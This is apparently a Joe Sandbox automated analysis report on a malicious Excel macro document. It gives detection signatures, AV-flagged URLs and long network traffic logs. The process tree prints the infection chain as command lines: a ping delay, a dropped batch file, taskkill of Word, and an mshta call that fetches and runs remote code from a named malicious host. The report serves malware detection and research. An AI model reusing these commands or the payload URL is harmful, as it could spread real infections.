Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.10211.21426

Overview

General Information

Sample Name:SecuriteInfo.com.Exploit.Siggen3.17149.10211.21426 (renamed file extension from 21426 to xls)
Analysis ID:684675
MD5:5081a754e710f34178dee80e5b1f15b4
SHA1:8ce6a3a89c9ede6a40eee5d0b0488bff2098ca01
SHA256:00f54cf5df13e3b9549f32fd39f986fc083559558d552cc0708e7a48e5f5bafe
Tags:xlsx
Infos:

Detection

Score:92
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Document contains an embedded VBA macro with suspicious strings
Document exploit detected (process start blacklist hit)
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Stores large binary data to the registry
Document contains an embedded VBA macro which executes code when the document is opened / closed
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Installs a global mouse hook
Creates a window with clipboard capturing capabilities
Uses taskkill to terminate processes
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 3024 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • cmd.exe (PID: 1708 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
      • PING.EXE (PID: 1288 cmdline: ping -n 8 127.0.0.1 MD5: 5FB30FE90736C7FC77DE637021B1CE7C)
      • cmd.exe (PID: 1796 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
        • taskkill.exe (PID: 508 cmdline: taskkill /f /im WINWORD.EXE MD5: 3722FA501DCB50AE42818F9034906891)
      • mshta.exe (PID: 1116 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 95828D670CFD3B16EE188168E083C3C5)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsMetadefender: Detection: 29%Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsReversingLabs: Detection: 41%
Antivirus / Scanner detection for submitted sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsAvira: detected
Antivirus detection for URL or domain
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.60C;Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253http://facextrade.com.br/wp-content/themes/CherAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextraAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/favicon.icoAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ll.min.js?ver=Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.0http://facextrade.comAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/atom/ECK=NOlAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0C:Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#portfolio_section00er=1.24Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3-USAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/comments/feed/newAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.24iAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.200Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417mAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.dAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngedAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/xmlrpc.phpAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.04.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/wlwmanifest.xmlAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.04.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.pngtugueseAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/Cheemes/CheAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.jsAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2NAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/wp-json/contact-form-7/v1tompAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshtaAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/P/1.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2ET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0.NET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtsmshtaAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.00C;Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0SAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.pngQAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2PSAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/custom.js?ver=1.04.0C;Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?verAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.20E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1wAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0http://facextradAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204171.2.1nAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0ver=5.0.3ZAvira URL Cloud: Label: malware
Machine Learning detection for sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.10211.xlsJoe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49180 version: TLS 1.2

Software Vulnerabilities

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe
Source: global trafficDNS query: name: facextrade.com.br
Source: global trafficDNS query: name: facextrade.com.br
Source: global trafficDNS query: name: netdna.bootstrapcdn.com
Source: global trafficDNS query: name: translate.google.com
Source: global trafficDNS query: name: storage.ie6countdown.com
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
